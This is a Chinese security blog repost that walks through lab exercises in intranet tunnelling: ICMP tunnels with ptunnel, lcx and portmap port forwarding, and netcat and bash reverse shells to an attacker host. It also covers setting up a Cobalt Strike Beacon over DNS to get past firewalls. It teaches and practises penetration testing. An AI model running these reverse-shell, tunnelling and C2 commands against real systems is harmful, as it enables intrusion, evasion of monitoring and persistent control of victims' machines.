内网安全之隧道技术

admin 2022年10月10日14:24:13评论45 views字数 4402阅读14分40秒阅读模式

内网安全之隧道技术

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

隧道

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

代理和隧道技术的区别

代理主要解决网络访问通讯问题(从一个内网到另一个内网)。

隧道技术解决在代理基础之上通讯受阻的问题(被防火墙等检测拦截),达到绕过过滤限制等。

隧道技术解决什么

用单独的通道来传输被拦截的数据。

CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。

常见的隧道技术

网络层:IPv6隧道、ICMP隧道

传输层:TCP隧道、UDP隧道、常规端口转发

应用层:SSH隧道、HTTP/S隧道、DNS隧道

网络传输应用层检测连通性

1.TCP协议

用“瑞士jundao”netcat,执行nc命令:

nc <IP> <端口>

2.HTTP协议

用curl工具,执行:

curl <IP地址:端口>

如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息

3.ICMP协议

用ping命令,执行:

ping <IP地址/域名>

4.DNS协议

检测DNS连通性常用的命令是nslookup和dig

nslookup是windows自带的DNS探测命令

dig是linux系统自带的DNS探测命令

网络ICMP隧道Ptunnel使用

ptunnel把tcp/udp/sock5流量伪装成icmp流量进行转发

-p ##表示链接icmp隧道另一端的机器IP(目标服务器)
-lp     表示需要监听的本地tcp端口

-da ##指定需要转发的机器的IP(即目标内网某一机器的内网IP)

-dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)

-x ##设置连接的密码

ptunnel安装

https://www.cnblogs.com/autopwn/p/14642658.html

Centos7下的安装步骤
#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
安装完成之后直接可以执行命令

实验

环境介绍

内网安全之隧道技术

攻击机kali:192.168.184.128

中介机webserver:192.168.184.142(可出网) 192.168.22.128(内网)

目标机DC(windows):192.168.22.130(内网)

打靶

中介机开启隧道,密码为123

ptunnel -x 123

内网安全之隧道技术

攻击机连接隧道

ptunnel -p 192.168.184.142 -lp 2333 -da 192.168.22.130 -dp 3389 -x 123

内网安全之隧道技术

当192.168.184.142(p)收到来自192.168.22.130(da)的3389端口(dp)的数据时,发送到攻击机的1080端口(lp)。反之亦然(在二者之间建立隧道)

攻击机(kali)使用rdesktop进行远程连接

rdesktop 127.0.0.1 2333

内网安全之隧道技术

输入用户名密码登录成功

内网安全之隧道技术

传输层转发隧道lcx、Portmap使用

Windows:lcx

Linux:portmap

windows演示

在被攻击机上:
lcx -slave 跳板机IP 6666 127.0.0.1 3389

将(被攻击机)本地的3389转发到跳板机的6666端口

内网安全之隧道技术

在跳板机上(这里需要在跳板机监听才能接收到数据):
lcx -listen 本机端口 映射端口

lcx -listen 6666 7777

监听6666映射到7777

内网安全之隧道技术

在攻击机上(进行远程连接):
rdesktop 跳板机IP:7777

传输层转发隧道Netcat使用

1.双向连接反弹shell

正向:攻击连接受害

受害:

nc -ldp 1234 -e /bin/sh                                          //linux

nc -ldp 1234 -e c:windowssystem32cmd.exe //windows

将命令行界面(shell/cmd)推到1234端

攻击:

nc 受害机IP 1234                                          //主动连接

内网安全之隧道技术

反向:受害连接攻击

攻击:

监听自己的1234端口

nc -lvp 1234

受害:

nc 攻击机IP 1234 -e /bin/sh

nc 攻击机IP 1234 -e c:windowssystem32cmd.exe

内网安全之隧道技术

2.多向连接反弹shell-配合转发-反向-portmap

Target2服务器将自己的cmd反弹到Target1的666端口,Target1使用portmap将本地666端口映射到本地777端口,最后由kali(攻击机)连接Target1的777端口

Target2_Ubuntu

bash -i >& /dev/tcp/192.168.22.128/6666 <&1

内网安全之隧道技术

Target1_CentOS

把666端口数据转发到777端口

./portmap -m 1 -p1 6666 -h2 192.168.184.128 -p2 7777

内网安全之隧道技术

kali

nc -lvvp 7777

内网安全之隧道技术

portmap使用

Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2

3.相关netcat主要功能

# 指纹服务
nc -nv 192.168.184.142:xxxx

# 端口扫描
nc -v -z 192.168.184.142 1-100

# 端口监听
nc -lvp xxxx

# 文件传输
nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1

# 反弹Shell(见上)

应用层DNS隧道配合CS上线

当常见协议监听器被拦截时,可以换其他协议上线,其中dns协议上线基本通杀

原理

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/listener-infrastructue_beacon-dns.htm#_Toc65482740

https://www.secpulse.com/archives/124454.htmlhttps://www.cnblogs.com/EndlessShw/p/15521355.html

什么是Beacon

Beacon是Cobalt Strike运行在目标主机上的payload,Beacon在隐蔽信道上我们提供服务,用于长期控制受感染主机。它的工作方式与Metasploit Framework Payload类似。在实际渗透过程中,我们可以将其嵌入到可执行文件、添加到Word文档或者通过利用主机漏洞来传递Beacon

Beacon的功能包括以下几点:

使用HTTP或DNS检查是否有待执行任务

可连接到多个C2域名

能够在分段传输后自动迁移

与Cobalt Strike紧密集成,通过社工、主机漏洞和会话来传递Beacon

Beacon的中文名为信标,像是在网络中告诉我们:“嘿,我是肉鸡,我在这...”。我们可以通过下图来看Beacon的工作原理

内网安全之隧道技术

DNS Beacon 的工作过程

内网安全之隧道技术

当受害者请求域名对应的ip地址时(通过 shell 或者 钓鱼),会从根域名DNS服务器,一级域名DNS服务器,二级域名DNS服务器...依次向下寻找,直到我们的团队服务器,同时充当DNS服务器,将Beacon返回给团队服务器。DNS响应告诉Beacon休眠或者连接到团队服务器来下载任务。DNS响应同时也告诉Beacon如何从团队服务器下载任务

配置

配置监听器

需要买一个域名修改解析记录如下:

记录类型->主机记录->记录值

A记录->cs主机名->CS服务器IP

NS记录->ns1主机名->A记录地址

NS记录->ns2主机名->A记录地址

内网安全之隧道技术

内网安全之隧道技术

这里遇到了坑,创建不了监听器

内网安全之隧道技术

一直说地址被占用,搞了好久,发现是我云服务器的53端口被占用了,关掉就好了

内网安全之隧道技术

很奇怪的是,我和赵师傅都有这个进程,他就能创,我却不能,就很玄学。问了黄师傅说是有些服务有关联性,有的服务运行有优先级啥的,也说不准,只能说盲猜QAQ。

生成木马

Windows Executable      生成32位或64位的exe和基于服务的exe、DLL等后门程序

Windows Executable(S)    用于生成一个exe可执行文件,其中包含Beacon的完整payload,不需要阶段性的请求。与Windows Executable模块相比,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可用于将Stageless Payload注入内存

内网安全之隧道技术

内网安全之隧道技术

利用

当受害者主机运行我们的木马后,便会有一个unknown主机上线

内网安全之隧道技术

interact进去后,输入如下命令进行配置

beacon> checkin
[*] Tasked beacon to checkin
beacon> mode dns-txt
[+] data channel set to DNS-TXT
[+] host called home, sent: 8 bytes

出现如下图的样子,就说明受害主机真正成功上线

接下来就可以执行命令了

内网安全之隧道技术

这里还遇到另外一个坑,就是当时弄的时候用的学校网络,导致输入命令没有回显,换了手机热点就行了,真的吐了。

转载自FreeBuf.COM

欢迎关注听风安全,分享更多安全技术~


原文始发于微信公众号(听风安全):内网安全之隧道技术

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月10日14:24:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网安全之隧道技术https://cn-sec.com/archives/1292795.html

发表评论

匿名网友 填写信息